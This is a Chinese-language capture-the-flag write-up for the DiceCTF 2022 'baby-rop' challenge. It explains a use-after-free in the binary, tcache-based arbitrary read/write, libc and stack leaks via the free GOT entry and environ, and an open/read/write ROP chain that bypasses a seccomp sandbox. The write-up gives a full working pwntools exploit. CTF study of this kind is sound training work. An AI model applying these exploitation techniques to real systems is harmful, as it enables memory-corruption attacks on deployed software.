DiceCTF 2022
PWN
baby-rop
基本信息
[*] '/home/ubuntu/CTF_ROOM/game/dice_ctf_2022/pwn/baby-rop/babyrop' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000)
$ seccomp-tools dump ./babyrop 2.34 2.34 glibc 2.34 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0018 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0018: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0022 0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0022: 0x15 0x00 0x01 0x00000005 if (A != fstat) goto 0024 0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0024: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0026 0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0026: 0x15 0x00 0x01 0x00000106 if (A != newfstatat) goto 0028 0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0028: 0x15 0x00 0x01 0x00000010 if (A != ioctl) goto 0030 0029: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0030: 0x15 0x00 0x01 0x00000008 if (A != lseek) goto 0032 0031: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0032: 0x06 0x00 0x00 0x00000000 return KILL
给程序修改libc可参考。
漏洞点:
free_safe_string
函数中free
之后没有清除指针,可以uaf。void __fastcall free_safe_string(int a1) { void **ptr; // [rsp+18h] [rbp-8h] ptr = (void **)data_storage[a1]; free(ptr[1]); free(ptr); }
在
create_safe_string
函数中,先malloc
一个16字节的note,这个note中前8个字节保存safe_string的长度,然后malloc
一段能够保存safe_string的空间,将指针保存到note的后8个字节中。int __fastcall create_safe_string(unsigned int ind) { size_t *note; // [rsp+18h] [rbp-8h] note = (size_t *)malloc(0x10uLL); fwrite("How long is your safe_string: ", 1uLL, 0x1EuLL, stdout); fflush(stdout); __isoc99_scanf("%zu", note); note[1] = (size_t)malloc(*note); data_storage[ind] = note; return write_safe_string(ind); }
如此,可以用那个经典的“增增删删增”套路来实现任意地址读写。如下所示,payload会写到note0中,将payload的后8个字节设置成我们要读/写的地址,通过
read_safe_string/write_safe_string
完成后续操作。_create(0, 128, b'aaaa') _create(1, 128, b'aaaa') _free(0) _free(1) payload = ...... _create(2, 16, payload)
实现任意地址读写之后,我们可以泄漏libcbase。但是由于程序设置了沙盒,我们只能通过ORW的方式来直接读出flag,那就还需要泄漏栈上的地址,然后通过ROP实现。在libc库中有一个
environ
字段,它负责记录指定LD_PRELOAD
的语句地址,这个字段保存在栈上,如下图所示:pwndbg> x/3s 0x7ffe7484afd7 0x7ffe7484afd7: "LD_PRELOAD=./libc.so.6" 0x7ffe7484afee: "./babyrop" 0x7ffe7484aff8: ""
接下来计算一下
environ
字段上的地址跟ret所对应的栈上地址的偏移即可。然后就是把ROP利用链写到栈上了。EXP(自备flag)
from pwn import * context(log_level = 'debug', terminal = ['tmux', 'sp', '-h'], binary = './babyrop', arch = 'amd64') elf = ELF('./babyrop') libc = ELF('./libc.so.6') p = process('./babyrop', env = {'LD_PRELOAD' : './libc.so.6'}) def _enter(cmd, ind): p.recvuntil(b'enter your command: ') p.sendline(cmd) p.recvuntil(b'enter your index: ') p.sendline(('{}'.format(ind).encode())) def _create(ind, leng, content): _enter(b'C', ind) p.recvuntil('How long is your safe_string: ') p.sendline('{}'.format(leng).encode()) p.recvuntil('enter your string: ') p.send(content) def _write(ind, content): _enter(b'W', ind) p.recvuntil(b'enter your string: ') p.send(content) def _read(ind): _enter(b'R', ind) def _free(ind): _enter(b'F', ind) def _quit(): _enter(b'E', 0) _create(0, 128, b'aaaa') _create(1, 128, b'aaaa') _free(0) _free(1) free_got = elf.got['free'] payload = p64(8) + p64(free_got) _create(2, 16, payload) _read(0) p.recvuntil(b'Sending 8 hex-encoded bytes\n') s = p.recvuntil(b'\n') s = s.decode() s = s.replace(" ", "") s = bytes.fromhex(s) free_addr = u64(s) print('free_addr = {}'.format(hex(free_addr))) libcbase = free_addr - libc.symbols['free'] environ_addr = libcbase + libc.symbols["environ"] print('environ_addr = {}'.format(hex(environ_addr))) payload = p64(8) + p64(environ_addr) _write(2, payload) _read(0) p.recvuntil(b'Sending 8 hex-encoded bytes\n') s = p.recvuntil(b'\n') s = s.decode() s = s.replace(" ", "") s = bytes.fromhex(s) environ_val = u64(s) print('environ_val = {}'.format(hex(environ_val))) gdb.attach(p) ret_addr = environ_val - 0x130 bss_seg = 0x404060 open_addr = libcbase + libc.symbols['open'] read_addr = libcbase + libc.symbols['read'] write_addr = libcbase + libc.symbols['write'] exit_addr = libcbase + libc.symbols['exit'] pop_rdi_ret = libcbase + 0x000000000002daa2 pop_rsi_ret = libcbase + 0x0000000000037bba pop_rdx_r12_ret = libcbase + 0x0000000000106751 fd = 3 orw_payload = p64(pop_rdi_ret) + p64(bss_seg) + p64(pop_rsi_ret) + p64(0) + p64(open_addr) +\ p64(pop_rdi_ret) + p64(fd) + p64(pop_rsi_ret) + p64(bss_seg) + p64(pop_rdx_r12_ret) + p64(10) + p64(0) + p64(read_addr) +\ p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(bss_seg) + p64(pop_rdx_r12_ret) + p64(10) + p64(0) + p64(write_addr) +\ p64(pop_rdi_ret) + p64(0) + p64(exit_addr) flag_str = b'flag\x00' payload = p64(len(flag_str)) + p64(bss_seg) _write(2, payload) _write(0, flag_str) payload = p64(len(orw_payload)) + p64(ret_addr) _write(2, payload) _write(0, orw_payload) _quit() p.interactive()
文件
链接:https://pan.baidu.com/s/1AtGRcu0SLHVk12e4e-9wJg
提取码:9if2